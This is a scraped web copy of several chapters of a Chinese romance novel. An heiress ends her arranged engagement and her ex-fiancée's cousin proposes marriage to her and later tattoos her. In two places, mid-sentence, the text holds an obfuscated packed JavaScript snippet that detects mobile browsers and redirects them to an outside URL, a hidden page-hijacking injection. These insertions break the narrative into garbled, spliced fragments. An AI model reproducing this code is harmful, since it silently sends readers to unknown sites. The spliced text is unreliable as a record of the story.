咄咄逼人又阴阳怪气,简直和宋立名一模一样。 “走。”宋缇撑着脑袋重新坐回沙发上,避开脸,“我现在不想见到你们。” . 姜司意以为自己会难过,会狠狠哭一场,可当她回过神时才发现自己并没哭。 眼眶血红,但没有眼泪。 只是在大雪里漫无目的走了很远。 手、脸和脚都冻僵了。 她不知道自己走到了什么地方,依旧很多人。 J城太大了,没有一处安静的角落可供人发会儿呆。 前方有个陌生的公交车站。 姜司意坐到公交车站的雨披下,身后广告牌上女明星正拿着一杯热腾腾的咖啡,幸福的笑容让此刻落魄的姜司意有些羡慕。 风雪被挡住一些,暖和了一点的姜司意脑子总算又能转了。 回想刚才在餐厅的一幕,唯一庆幸的是餐厅清静,不然她未必能在走进餐厅的第一时间听到宋缇的声音,再发现她和那个女人坐在角落。 现在的自己估计还跟个傻子一样为宋缇的事苦恼。 也多亏餐厅人少,否则她们闹出那么大的动静,也不知道会发酵成什么样。 姜司意搓着发红的手,出来太急,忘了戴手套,细细的指尖已经被冻红了。 落在头发上厚厚的雪缓慢融化,变成了湿乎乎的雪水,沾湿了头发和衣领,不太舒服。 穿着厚厚的羽绒服,抬手想把脑袋顶上的雪水扫了都变得困难,手凭空短了一截。 脑袋配合地歪下来,姜司意总觉得忘记了什么事。 身后的背包带来实质性的重量,终于让她想起了青黄玉龙凤佩,“林棘”两个字很快浮现在脑子里。 她这一趟过来是找林棘,私洽青黄玉的。 结果因为宋缇,她完全忘记这件事了。 羞愧于自己不专业的同时,姜司意思索着,当时林棘应该也在餐厅吧…… 那发生的一切岂不是也被她看到了? 林棘是宋缇的表姐,她们是血脉相连的一家人,看到自己用咖啡泼宋缇的画面,大概会被林棘讨厌吧…… 姜司意又一次后知后觉地想到—— 说起来,那杯咖啡是谁的? 居然直接顺手就泼出去了。 泼完后把空杯一放就离开了,咖啡的主人一定觉得莫名其妙。 姜司意支着发烫的脸,好混乱的傍晚,像一场漫长又错乱的梦,发生的所有事都那么不真实。 经历巨大波折和人生转变的当下,荒谬感从头灌脚。 前路模糊,似幻非真。 直到一辆宾利停在她面前,自动门徐徐开启,她才从梦魇般的魔怔中醒转。 寒风夹着雨雪闯入温暖且充满秩序感的车内,坐在车里的林棘发梢被风卷起,眼睫顿时被几粒无礼的雪点侵扰。 她浑不在意,只看着被冻得不自禁轻颤的姜司意。 林棘浓丽的五官对姜司意而言并不算熟悉。 这份半生不熟感,在此刻反而变成了破开混沌的真实。 那双潜着星辰的眼犹如一阵风,冲开了姜司意人生的迷障,沉闷的心和脑倏然醒转。 “上车。” 语气并不强势,却让姜司意无法拒绝。 进入车内,坐在林棘身边。 姜司意觉得这辆车内的氛围有些奇怪,一时间又说不出哪里怪。 车后座和司机位间有一层智能变色玻璃隔断,姜司意上车后,玻璃隔断慢慢变成了质感灰调。 司机的存在感消失了,整个车厢成了她俩独有的私密空间。 安静的空间里,能隐约嗅到林棘那款冷调的香水味。 恰到好处的温度和湿度,彰显周围的一切是精心养护出来的整洁。 坐在她身边的女人更是有种强烈的距离感,纤尘不染。 而从头发到衣服都湿漉漉的姜司意,甚至不确定自己的妆有没有花。身上所有的雪粒被车内暖融的温度迅速融化,发尖已经有些水珠在摇摇欲坠。 她这个失魂落魄的外来者,很难不担心自己会不会弄脏别人的车。 林棘是来问青黄玉龙凤佩的事吧? “对了,那个玉佩。” 姜司意立刻去包里拿,已经做好林棘兴师问罪的准备了。 玉佩还没拿出来,湿漉漉的头发就被什么事物包裹住。 姜司意惊讶地回眸,见林棘正在用她的羊绒披肩轻缓地吸干长发上的水珠。 一点点,小心谨慎着,吸干了发尾后再慢慢往上裹,完全没有扯到姜司意。 这件的羊绒披肩方才还在林棘肩头,是某顶奢春季新款,一件的价格快赶上姜司意累死累活主持一场拍卖的佣金了,眼下却被林棘当成吸水的毛巾来给姜司意使用。 很不好意思,正要说“要不我自己来”的时候,林棘已经将披肩递到她手中,更说了句让人一时发懵的话。 “她不懂珍惜,不妨换个更优质的联姻对象。” 这个“她”,自然是指宋缇。 姜司意不觉得林棘是个在感情事上牵线搭桥的人,本能地反道: “换,谁?” 林棘缓缓抬起眼皮,那双清冷的桃花眼此刻专注地映出姜司意的脸,隐约沁出了一丝多情的意味。 “我。” 姜司意呼吸一滞。 距离近到失去了安全范围,微妙的涌动中是明目张胆的诱惑。 11. 第 11 章 原本已经归位的真实感,在林棘说出这句话的当下,又被蒙上了一层悖谬。 段凝开玩笑说过姜司意和林棘是“青梅竹马”,她俩的确是在一个圈子里长大,却是圈子上最远的两个点,唯一的关联就是宋缇。 姜司意愕然,完全没想到林棘会跟她说这种事,本能地反问: “联姻对象?你?” “对。联姻对象,考虑一下我。” 林棘还是如那日after party时一样,凝视得很专注,似要把姜司意每个细节都浸入眼底。 有种奇怪的久别重逢之感,珍视,甚至贪婪。 “可……” “我知道联姻的事是你母亲定下的,你怕违背她的意愿。”林棘说,“但你才是你妈妈最难割舍的宝贝。不要亏待自己。” 林棘的话冲入姜司意心底,揉在最最脆弱之处,让她不自禁地深呼吸,眼前一片潮湿。 见姜司意被纷杂的思绪堵得沉默难言,林棘道: “不用着急回答我,婚姻是终身大事,慢慢想,考虑好了再给我回应。” 也不知是车内太过温暖还是林棘过分体贴,姜司意脸颊已经烫到难以忽略,可想而知有多红。 一路再也无言,直到车开到姜司意家楼下,姜司意才又想起被一而再再而三遗忘的玉佩。 “你看看……和你奶奶的玉佩有没有类似的地方。” 姜司意全程低着头,不敢去看林棘的眼睛。 只能看到林棘名品手指捏住了玉佩。 “有点像。”林棘轻轻转动,仔细观察后道,“我可以和你私洽直接买下吗?” “嗯嗯,当然。” 即便目光落在别的地方,但耳朵闭不上。 沙沙声是林棘转头时,头发和椅背的摩擦声。 林棘在看她。 林棘:“谢谢你记得我的事。” 这下不只是脸,耳朵也滚烫得要命。 “我只是……” 这句话姜司意想说“我只是在完成我的工作”。 话在心里过了一遍,太过冷硬无情,姜司意没能说出口。 换了一句。 “希望你能早日找到你奶奶的遗物。” “这也是我希望的。” 姜司意下车的时候,把那条披肩也带走了。 “我洗干净再还给你。” 说这句话的时候姜司意是有些羞赧。 还披肩自然要再见,就像是她在主动约定下一次的见面。 羞赧归羞赧,因为她而脏的东西,当然要处理好。 姜司意下车,林棘居然跟着下来。 不知道她这是出于礼貌,还是想跟着上去坐一坐。 身处熟悉的社区,来来往往的邻居有些还是姜司意见了面会打声招呼的。他们被这辆太过扎眼的宾利吸引,时不时瞧过来。 和林棘单独相处还是会紧张,还是有种心脏紧缩,手脚不知该放在哪里的拘束感。 何况眼下还被这么多人看着。 林棘帮了她还将她送到楼下,出于礼貌,应当请对方上去喝一杯。 可今晚肯定不是好时机。 就算再顾及礼貌,林棘刚刚说完“换个联姻对象”,姜司意就邀请她上楼,都是成年人,怎么看都像某种暗示。 幸好林棘没让姜司意纠结太久,很快说了“晚安”。 看来只是出于好教养才下了车。 姜司意松了口气。 和前几次一样,虽然林棘给人的压迫感很强,意外的回回都能踩中姜司意最舒服的点。 姜司意火速回了个“晚安。” 转身就要走,林棘补了一句: “虽说我会慢慢等着你考虑周全之后的回答……” 姜司意回眸。 林棘没有穿外套,冰天雪地间只着一身V领收腰长裙,淡妆,有种低饱和冷泠泠的美。 “但也希望你仔细考虑之后,最后能选择我。我能给你想要的一切。” “我想要的一切?” “舒心的生活,公平的人生,忠诚的伴侣。我有这个能力。” . 今晚,姜司意本该因为宋缇的背叛,在失落和痛苦中失眠。 但给雪球喂完饭,洗完澡躺在床上时,原本压抑的情绪被林棘注入了一股奇异的气流。 昏暗的精神世界中有一团让人意外的光亮。 即便那光亮遥远、朦胧又不真实,依旧护住了姜司意脆弱的神经,让她在午夜降临前于温暖的被窝中入眠。 那夜做了很多很多梦。 大概是梦到了宋缇,梦境里充斥着让人不悦的争执声,还有那双冻人的眼。 冷得姜司意在被子里瑟瑟发抖。 而在她醒来前那一刻,林棘毫不客气地闯入她的梦境。 争执声骤然停止,周围变得安静、干燥,温暖,还飘荡着一缕若有似无的冷香。 那是露水和焚香融合的气息,深邃又温厚,让杂乱的梦境一瞬被古刹围合。 毫无杂音的梦中世界,她回到了林棘的车里,被林棘那双心无旁骛的眼睛专心致志地凝视。 “我有这个能力。” 姜司意倏然睁开眼。 七点了,手机铃声已经孜孜不倦响了大半天,雪球也在床下叫唤。 姜司意艰难撑着眼,从床头柜上拿来手机,关掉闹钟。 一夜梦太多太凌乱,困得很。 又因为起晚了,早上匆匆忙忙在地铁口买了个煎饼。 今天依旧是个大雪天,地铁里挤满了人,幸好她就坐几站地。 即便如此,从地铁出来的时候还是有点反胃。 到公司吃一口煎饼,咸到发苦,偏偏一上午忙得脚不沾地,直到午饭时间才咚咚咚灌了两大杯水。 普通打工人的工作日忙起来根本没有矫情的时间。 另一边,宋缇头疼了一晚上。 吃了止疼药好不容易睡着,大早上又被电话吵醒。 是宋立名的电话,要求她今天无论如何来公司一趟。 躲了几次会议,董事会那头肯定对她颇有微词。 今天状态差得要命,也不好再偷懒。 撑着身子来到公司,宋立名直接把她叫到办公室里,甩了一份打印文件给她,一手撑着腰一手指着文件: “这就是你说的稳赚不赔的项目?” 宋缇垂眸看向文件,是她先前主张投资的玻璃纤维项目,亏了近五千万。 宋立名:“你知道今早我是怎么被董事会那帮老东西奚落的吗?你倒好,从上周三开始就找不到人,会议也不参加。你想干什么?私生活搞出一堆烂事,工作也不上心,再这样下去我怎么放心让你接班?” 宋缇被劈头盖脸一顿教育,没法反驳,只能默默咽下这口气。 投资回报率因市场波动而起伏不定,赚钱的是少数,亏钱才是日常,这次算她倒霉。 只是最近霉运好像一直追随着她。 回到自己的办公室,正在开电脑,路过的员工们三三两两暗中窥视,嘴唇轻动,表情促狭。 宋缇冷着脸按下百叶窗的遥控器,百叶窗翻转,遮蔽住所有人的目光。 开了电脑翻看这几日的会议记录,翻到第六页了,回神时才意识到自己半个字都没看进去。 宋缇捋了一把长发,把额前的头发捋到头顶,重新翻回去的时候忍不住看一眼手机。 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜司意猜测林棘和宋缇之间是不是有些龃龉,才会拿她这位即将分崩离析的未婚妻当成攻击宋缇的工具。 不怪姜司意想法会走向阴暗,毕竟林棘想和她联姻这件事太突然,太让人想不通了。 且不说她和林棘根本没有感情基础,甚至不算熟人,就说林棘的条件和样貌,只要把她想结婚的消息往外一放,门槛都会被踏破。 林棘分明有无数更好的选择,为什么不找别人,偏偏要找一个无依无靠的她? 除了和宋缇私下有所交恶,想用这场联姻让宋缇难堪,姜司意实在想不到别的可能性。 被当成工具的想法在心中一起,姜司意思绪乱了。 走到单元口楼下时,想起林棘那双认真的眼睛,又觉得自己在胡思乱想。 犹记小的时候林棘对宋缇很照顾。 宋缇总是说表姐疼她,表姐性格冷淡,不怎么搭理家里其他小孩,学校里的朋友也很少,只会跟她说话。 中学时姜司意和宋缇以及其他朋友出去玩,有时候玩得忘了时间。 无论在哪,林棘都会来接宋缇。 姜司意每次都能蹭林棘的车回家。 这么说起来,林棘回国当天就是宋缇的生日宴,她忙得一直在打电话还是赶来参加了。 那就更说不通了。 姜司意推开屋门,雪球在她脚边跳来跳去求抱抱,主人却没像往常第一时间过来抱它揉它的圆脑袋,而是心事重重地蹲下,双眼放空,不知道在想什么。 雪球短短宽宽的前爪搭在她的膝盖上,整只狗站起来,歪着脑袋好奇地看她。 嗡—— 姜司意口袋里的手机忽然震了起来。 姜司聆给她回拨视频电话了。 12.第 12 章 姜司意迅速看了眼镜子里的自己,状态还好。 一接通视频,就听见姐姐带着明显上扬的愉悦声音。 【宝宝——下班啦?刚才太吵,没听到你的语音。】 姜司意一边脱外套一边说:【这么开心,画展还顺利么?】 【不是一般的顺利,而且顺利的不止是画展。你猜我刚才和谁一起吃早餐了?】 姜司聆正在街上走着,鼻尖冻得红红的,兴奋之情完全没因为寒冷而消减。 姜司意坐到沙发上,淡笑着,仿佛她才是关爱小辈的和蔼姐姐。 【我怎么猜得到?】 【Jules,他是NEXT王牌经纪人。对了,NEXT是现在势头最劲的当代艺术经纪公司。他看了我的画展,对我的作品评价非常高。刚才一起吃早餐的时候,说想和我签约。宝宝你知道他给我提出的待遇有多好吗?太让人心动了。到现在我还在怀疑是不是我起的太早,尽做美梦。】 姜司意一边和她聊着,一边迅速用手边的平板查询这个名为NEXT的经纪公司和经纪人。 的确是非常知名的当代艺术经纪公司,也的确有叫Jules的大胡子经纪人。 姜司意说:【我查了一下你说的经纪公司,那个Jules看上去面相有点凶。】 姜司聆知道妹妹是担心她被骗了,立刻调查,行动力一流,忍不住哈哈笑道: 【Jules在我们这儿的圈子里很有名的,长得是潦草了点,不过毋庸置疑,是个非常乐于挖掘新人的优秀经纪人。】 【合同拟好了吗?】 【说给我几天考虑的时间,考虑好了就去公司找他。】 【等拿到合同发我一份,我找律师仔细看看。】 她姐这人说好听叫随性,实话实说就是少根筋,太容易相信人。 如果合同姜司意不找律师过目,她姐很有可能看都不看一眼直接签约。姜司聆真能干出这种事。 姜司聆也习惯依赖妹妹,听她的安排。 【好啊,等合同到手我第一时间给你看。】 有些不放心,不过眼下这条有可能的出路,还是让姜司意看到一点希望。 先前姐姐在海外发展依赖宋家扶持,若现在真是凭借作品得到了经纪公司的赏识,而不是宋家给她挖的陷阱,那姜司意退婚就更没有后顾之忧了。 略略松了口气,姜司意靠在沙发背上时,视频里的姜司聆走过老旧又昏暗的楼梯,进入昏暗的出租屋内。 【宝宝,心情不太好?春拍遇到困难了吗?】 姜司聆对于其他事都迟钝,唯独对妹妹的情绪最是敏感。 姜司意道:【没有啊,春拍很成功。就是因为太成功,导致我最近一直在主持日常拍卖,太忙了没休息好,有点累。】 姜司聆知道妹妹不太会说谎,一说假话就会下意识解释很多。 也不拆穿,姜司聆道:【那可得坚持住,上升期总是会更累点。哎呀,我们宝宝都能独当一面了。这次春拍我没能回去亲眼见证你成为一名出色拍卖师,实在太遗憾了。下次的秋拍我一定回去。】 姜司聆的话让姜司意想到了春拍现场,想到坐在人群最中间的林棘。 这么说来,那场春拍她也不算寂寞。 【对了,画展上我卖了几幅画,昨天我已经转给你了,你大概太忙没看见。】 姜司意“嗯?”了一声,立刻打开手机银行,真的多了一大笔境外汇款。 【你怎么转钱给我?你在外面才是需要钱。】 【我够吃饭就行,Jules送了好多颜料给我,有阵子我都不需要什么开支了。而且钱这玩意吧,放太多在手上反而影响我画画的速度。你不一样,你还得准备结婚的事,姜骆是指望不上了,咱们得自己想办法。你姐没用,没什么积蓄,画了这么多年就赚了这么些。无论如何嫁妆能多一点是一点,别让宋家看轻你。】 姐姐的话让姜司意鼻尖有些微微的酸劲。 如果能把她这个姐姐的心掰开,能看到一大半都是她的艺术梦,剩下的则装满了姜司意这个唯一的妹妹。 暂时不想跟姐姐提退婚的事,牵扯实在太多,怕姐姐多想。 而且现在姐姐也能走另一条路了,等完全处理完这些麻烦彻底稳定后再说。 挂了视频,姜司意把家里有关宋缇的东西全部打包,叫了快递寄出去。 遛完狗回来,继续查那个现代艺术经纪公司的事。 雪球这只小挂件,主人去哪儿它就跟到哪儿,这会儿趴在姜司意腿上,和她一起看平板上那些看不懂的文字。 查了半天,也去问了在海外从事相关工作的同学,都说这个公司挺靠谱的。 最重要的是可以确认,这家公司和宋家资本没关系。 松了一口气。 看来姐姐的才华终于真正被业界看到了。 心里装着事,第二天很早姜司意就醒了。 昨晚依旧睡得不怎么踏实,电子手表显示昨晚一整晚她都没有进入深睡状态。 今天是休息日,不用去公司,姜司意将林棘披肩从衣柜里拿下来。 还残留着些许冷香,这披肩林棘应该经常使用。 被它包裹住头发和手指的触感蓦然蔓延至心头,姜司意快速眨了好几下眼睛,将它小心地放入袋子里,带去干洗店。 干洗店的店员说三天后可以来取,姜司意在手机里定了个提醒,想了想,问道: “请问,干洗之后会有香味吗?” 店员:“如果您不需要香味,可以做无香处理。” “那麻烦做无香处理,谢谢。” 林棘应该不会喜欢自己的东西留有干洗店惯用的陌生香气。 离开干洗店时,收到姜骋的电话。 姜司意看到姜骋的名字,直接挂断。 姜骋不厌其烦一个接一个打过来。 以前这么穷追不舍的是赵珺,今天怎么换人了。 不会是姜骆死了吧? 接起电话,有点失望,姜骆没死,只是姜骋单纯在发疯。 一接通电话姜骋就单刀直入地质问姜司意。 【姜司意,你到底什么时候把我的摩托车给我?】 【摩托车?】 【揣着明白装糊涂是吧?Stella姐早就答应给我买川崎那辆新款了,已经联系好伦敦那边的朋友,说后续的事情都由你来处理,处理好了直接把车送到我这里。这都多久了也没个信。说吧,车在哪,我自己去开回来。】 姜司意实话实说:【她没跟我说过摩托车的事。】 【不是,姜司意,Stella姐都答应了你还推三阻四的干嘛?扯这种谎有意思?不就是怕我花她钱吗?】 很多时候姜司意觉得姜骋就是个预制人,智力不知道有没有达到正常人类的一半,和他说话格外费劲。 姜司意实在不想去思考姜骆和赵珺是怎么养的姜骋,更不想和他掰持。 【想要什么自己去买,谁答应你了你就去问谁。这么简单的道理我不会再解释第二遍。】 姜骋没想到软柿子姜司意会这样跟他说话。 【你……】 姜司意想到林棘说的那句话—— 你才是你妈妈最难割舍的宝贝。不要亏待自己。 不要亏待自己。 没给姜骋再吭声的机会,直接挂断拉黑一条龙。 “拒绝”的快意在她胸口涌动。 一直没来得及发出去的那条微信,这时候也被她一键送出。 微信发出去之后姜司意没等宋缇的回复,因为不重要了。 她再也不需要苦苦等待宋缇给她一个答案。 压在心头那颗大石被卸下。 把手机丢到背包里,她打算去好好吃一顿。 . 尽管不想承认,但宋缇的确一直在等姜司意来哄她的微信。 那些无聊的广告、推销这时候来骚扰,全被她无情拉黑。 朋友们的插科打诨,甚至是谭雅约她见面的微信,都让她乏味,甚至是烦躁。 更让她难受的是,投资失败的事儿被董事会念叨不算完,净利润同比下降55%,股价一再受挫,不得不大规模裁员。宋立名以“传统制造业不再需要那么多研发岗位”为由说服了董事会,全球裁掉四千人。 四千人的饭碗不保,当然不会善罢甘休。 这几日公司楼下总能看到被裁员工举牌抗议,媒体闻风而来,一篇篇新闻稿往外发,还有来直播的。 宋立名焦头烂额,宋缇日子自然也不好过,进自家公司都得掩面鬼鬼祟祟走后门。 战战兢兢了两日,在战和兢的间隙里,宋缇手机不离身,时不时打开看看,每次都很扫兴。 今天,她终于得到了姜司意的微信。 终于来低头了。 诸事不顺时,姜司意的认错是一枚灵药,一面胜利的旗帜,能够安抚宋缇那颗充满挫败感的高傲之心。 姜司意的微信进来时,宋缇正在开会。 放在桌上的手机震动声太大,引得董事会和股东们不满地暗暗侧目。 宋缇看到是姜司意,眼眸一亮,完全不顾宋立名投过来制止的眼神,拿起手机推门出了会议室。 哒哒哒—— 宋缇一边看微信一边向走廊尽头快步。 嘴角浮着傲慢的浅笑,想看看姜司意这次会有什么措辞。 却在点开微信的当下,笑容凝滞在脸上。 【退婚吧,如你所愿。】 哒。 脚步骤然停下。 身后猛然推开门的声音传进她的耳朵里,却没入脑。 宋立名从会议室里出来喊她,揶揄她,呵斥她,她怔怔的完全没理会。 退婚。 她等了这么几日,就等来一个退婚? 就在她发愣时,收到了快递取件短信。 最近她没买东西,有种预感,和姜司意有关。 宋缇冲回家,取了快递打开,全都是她以前买给姜司意的东西。 完完全全一件不落,全被退了回来。 脑中有根神经突兀地跳动,抽痛着。 . 姜司意一个人吃火锅。 小酥肉、毛肚、鲜切雪花牛……把喜欢的肉和菜都点一遍,吃不完也能打包回去。 火锅店很热闹,姜司意又吃得投入,宋缇微信和语音申请她完全没听到。 乌梅汁入喉,那些翻腾的麻辣鲜香被这一口酸甜安抚,心满意足。 火锅店对面是家文身店。 文身店很低调,开在拐角最里面,门口什么妆饰也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567455|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有一盏红蓝相间颇为复古的招牌。 招牌上更绝,只有“文身”两个汉字,下面是再简单不过的英文“Tattoo”。 看得出来这家店的老板对事业没有什么野心,主打一个随缘。 在决定退婚,且把退婚的决定传达给宋缇的当下,姜司意想为自己留个纪念,永远记得今天的勇气。 她想送自己一个文身。 吃完饭走进文身店,里面装修非常简单,微水泥的地面配大白墙,墙面上挂着一些文身作品。 前台小姑娘看到她热情地上来招呼,问她想要文什么样的图案,有没有想法。 来文身的很多人其实并不太确定自己具体想要什么图案,只有一个概念。通常会跟文身师沟通之后一起确定精确的方向。 这位客人却很确定自己要什么。 “有。”姜司意说,“我想要一对翅膀,在后脖颈这儿。” 文身店内,老板的休息室。 严逾趴在沙发上鬼哭狼嚎,嚎半天没人搭理,自己还累着了,奄奄一息地哼唧。 林棘坐在属于严逾的老板位子上,用电脑边翻看预约单边说: “分个手,至于么。” 严逾哭红的眼睛从沙发面上转过来。 “什么叫分个手……这是被我妈棒打鸳鸯!本来打就打吧,我根本不在乎。谁能想到我妈给了五百万,她就答应和我分手了。你好歹还还价啊,都没给我妈再抬价的机会。我就值五百万?我们一年四个月的感情就五百万?一打就散?” 林棘:“所以你只是在为自己有眼无珠难过,而不是和女友分开难过。” 严逾:…… 好像真是这么回事,被林棘轻易说中,严逾更难过了。 “我哭成这样,你怎么还说得这么直接,半点都不委婉?” 林棘眼皮都没抬,“不太能理解。” “你就是个冷心冷肺。” 严逾一翻身坐起来,给自己抽了几张纸巾擤鼻涕。 “哼,别看你现在这样,说不定谈起恋爱比我还疯。” 严家是光伏产业的领头人,也涉足酒店行业。 可惜她这个独生女从小就对父母的生意没什么兴趣。 从美院毕业后开了个文身工作室,想自给自足不再向家里伸手要钱,也能脱离家里的掌控,过得逍遥自在。 只可惜她独立自主的第一步是迈出去了,从小娇生惯养的千金做派难以剔除,花钱太过大手大脚,也没有生意人该有的样子。 工作室不营销不打折就算了,不喜欢的客户还一概不愿意伺候。 和一位社会大哥起冲突之后,工作室在各大平台上都被打了差评,生意一落千丈。 要不是有林棘这个发小时不时爆点金币救她狗命,她的工作室恐怕早就关门大吉了。 不过林棘在严逾这儿也不是完全当慈善家。 当年林棘被严逾死乞白赖地纠缠,勉强当了这间工作室的合伙人,之后发现文身很能解压。 特别是针刺破皮肤时的手感和完成作品时的成就感,能让她放松。 林棘不是美术生,但有天赋,因为技术精湛和长得太美而大受欢迎。出国的这三年处于消失状态,预约也一直没断过。 客人兴致勃勃来预约的时候,前台小沈都会解释说,我们林老师人在海外不知道什么时候才能回来,排队的人很多,而且她特别看眼缘,只选自己想做的图案。 即便如此,还是有一群人完全不在乎,就痴痴等着林棘。 眼下林棘终于回来了,又开始看预约。 严逾正在妖言惑众,林棘面前的电脑屏幕显示又多了一份预订单,是前台小沈发过来的。 林棘的目光落在客户姓名上。 意外的熟悉——姜司意。 林棘推开门,小沈正好过来。 林棘看着远处坐在沙发上喝柠檬水的姜司意,问小沈: “她约的什么图案?” 小沈没想到今天林棘来了,眼睛能好好做个SPA,感觉又有力气搬砖了。 “那位姜小姐没约您,您太忙,我就让小董去了。” 没想到林棘说:“转给我。” 小沈“啊”了一声,看向屋里的老板。 严逾一骨碌爬起来,“姐姐,你不是还有一大堆预约么?” 林棘:“当初你答应过我什么?” 严逾:“我是说过你可以随意挑选,可是……” 林棘转头对小沈说:“你再帮我问一下那位姜小姐是不是真的要文身。文了之后再想彻底清洗就难了。” 这回严逾听清了。 姜小姐? 抻着脑袋往外看,还真是姜司意,这么巧。 严逾眼神变得玩味,看向林棘:“我说你怎么突然这么热心呢,原来是老房子要着火了……” 林棘投过来一个眼神,严逾立刻闭嘴。 听到老板和林老师对话的小沈,迅速升起八卦的心思。 不是吧,不会吧,难道是我想的那个意思? 从来不见对谁上心的林老师这是要下凡了? 小沈压着吃瓜的心情去完成林棘交代的任务。 林棘依旧靠在门边,只露出小半截脸庞,看远处完全没发现她的姜司意对小沈认真地点了点头。 13.第 13 章 小沈带着姜司意到操作室,让她坐在椅子上等一会儿。 “林老师马上就过来。” “好的。” 林是大姓,姜司意完全没把“林老师”和“林棘”联想在一起。 毕竟林棘和文身工作室在表面上看起来没有半毛钱关系。 一直都知道文身很痛,即便要送给自己小礼物的心情是兴奋又快乐的,等待文身师到来的这段时间依旧会有点紧张。 翻看着工作室的作品图册时,身后的门被推开,林老师来了。 姜司意回头,见一位盘着长发,戴着口罩的高挑女人走进屋。 独独露在外的眼睛也太好看了,像林棘。 这个念头一起,姜司意觉得自己在犯傻。 林棘那种大忙人比三星米其林餐厅都难预约,怎么可能有时间来这里当文身师。 只是刚好姓林,又长得有点像罢了。 林棘一边做准备工作一边问:“文在脖子后面?” “嗯嗯。” “会比其他地方痛一点。” “没关系。” 怎么回事,怎么觉得声音都这么像。 姜司意想回头确定,肩膀被摁住。 “我先给你消毒。” “……好。” 姜司意没动了,林棘目光落在她盘起发髻的脖颈后,一寸寸缓缓移动。 脖颈有零星的碎发,白皙光洁,散发着温热。 大概肌肤太细腻,呈现出一种轻薄感,这种肤质应该很容易留下痕迹。 曲线纤细柔软,仿佛一只手就能控制。 思绪难得涣散,林棘短暂凝滞的眼眸很快恢复正常,忽略稍高的体温,转而专注在文身上。 要长久留在姜司意身上的东西,还是出自她之手,她当然要做到最好。 让姜司意绝对满意,不留任何遗憾。 消毒之后用转印纸把选好的图案转印到指定的位置,拍照后给姜司意确定。 选的是小小的一对展开的翅膀。 线条简单的卡通形态,每根羽翼顶端都是圆乎乎的,不锋利,有种执着的钝感。 秀气精致,落在姜司意细细的脖颈后,很适合她。 姜司意看了照片后很惊艳,比她想的还好看。 确认之后,林棘拿着纹身机站在她身后。 开始前再一次提醒。 “要开始了,痛的话跟我说。” 姜司意觉得这位林老师声音冷冷的,还以为不太好亲近,意外的让人觉得踏实周全。 “林老师,我不怕痛。” 林棘没想到她居然叫自己“林老师”。 这是到现在还没认出她是谁。 姜司意没发现,身后人的眼眸里透出一丝复杂的情绪。 林棘身子前倾,左手压下,微微拉紧皮肤表面。 隔着手套能隐约感受到属于姜司意的体温,指腹扶在她的脖子上,指节衡量着身前人的纤柔易控。 针刺进肌肤,即便有了准备,姜司意还是从喉咙深处发出一阵模糊的痛吟。 真的好痛。 眼眶微微有点潮湿,怕干扰到文身,咬着牙很快忍了下去。 林棘眼皮微抬。 的确挺能忍。 继续。 林棘一向寡言,这会儿为了帮姜司意转移注意力,难得主动说起文身之后的注意事项。 “这几天会有组织液渗出,属于正常现象,毕竟是开放伤口,用温水轻轻冲洗就好,记得擦干。别游泳别泡澡,忌烟忌酒别吃生冷辛辣,涂我给你的护理膏,或者凡士林也行。过几天伤口会结痂发痒,别挠,要等它自己脱落。” 姜司意听得很认真,会在林棘每句话的顿点“嗯”一声,示意她记下了。 文身小,不用太长时间就完成了,林棘帮她附上一层保鲜膜保护伤口。 林棘摘手套的时候补充道:“如果组织液渗出过多,或者伤口疼痛明显,别忍,可能是过敏甚至是感染,记得联系我。给我发微信就行。” “好的林老师,咱们加个好友。” 林棘:…… 手套被随手丢到操作台上,戴着口罩的林棘单手撑在桌边,上身向姜司意的方向前倾。 姜司意:? 怎么距离一下子变得这么近了。 “姜司意。” 林棘用手指勾掉口罩。 “还没认出我?” 林棘这张浓墨重彩的脸忽然完整地出现在眼前,像价值连城的宝石忽然以特写的方式呈到极近的距离。 真的是林棘…… 很少这么近看她的脸,成熟沉冷的美感冲击力极大,姜司意呼吸都顿了一下。 而且,联姻的事情她还没想好怎么回答,居然就在这里遇到了林棘,逞强扯了个干巴巴的笑容道: “林棘姐……真的是你啊,其实我之前就认出来了,就是,没敢认。” 林棘心道,没敢,意思是还在怕我。 林棘知道自己不爱笑,也知道姜司意从小就绕着自己走,眼下单独相处,别真让小姑娘无所适从了。 林棘扬起嘴角,有点僵硬地勾勒出自以为亲和的笑容。 “有人说过你撒谎的时候格外好辨认吗?” 林棘真的是在闲聊,甚至在打趣,只是这些事她不太擅长,完全不知道在姜司意听起来充满了反诘的压迫感。 平时太少笑,不熟悉温柔微笑的弧度,偶尔一笑让人不寒而栗。 姜司意觉得下一刻自己就会被林棘装进行李箱,塞到汽车的后备箱,随便找条河抛尸。 脊背有点发僵,姜司意觉得自己只有实话实说这一条路。 “我,我其实是觉得眼睛好像,声音也好像,又觉得怎么可能呢……这么说起来的确算是没认出来吧。对不起!” 林棘疑惑地蹙眉。 对不起? 随意聊聊而已,怎么就开始道歉了? 目光被她搅在一起的两根食指吸引。 怕成这样了。 林棘:…… 文身也结束了,别再让她害怕了。 “你可以走了——” “了”字才说了一半,姜司意就像是得了赦免,社恐人士最擅长一秒消失。 “谢谢林棘姐,再见!” 林棘:。 . 付完款一路直奔地铁,拥挤人潮拽着姜司意的神经,让她重回人间。 刚才的文身室就像另一个世界。 有林棘的世界。 还是和林棘独处的世界。 姜司意揉着因为温度升高而变得柔软滚烫的耳朵,有点麻麻酥酥的感觉,很痒。 怎么就这样落荒而逃了? 一碰上林棘她就变得很不正常。 本来她从小就怕林棘,完全没想过有朝一日林棘会向她发出联姻的邀请。 邀请她成为伴侣,成为最亲密的关系…… 这件事太过荒谬,更是加大了这份紧张。 话说回来,就算再紧张也不该如此,丢人。 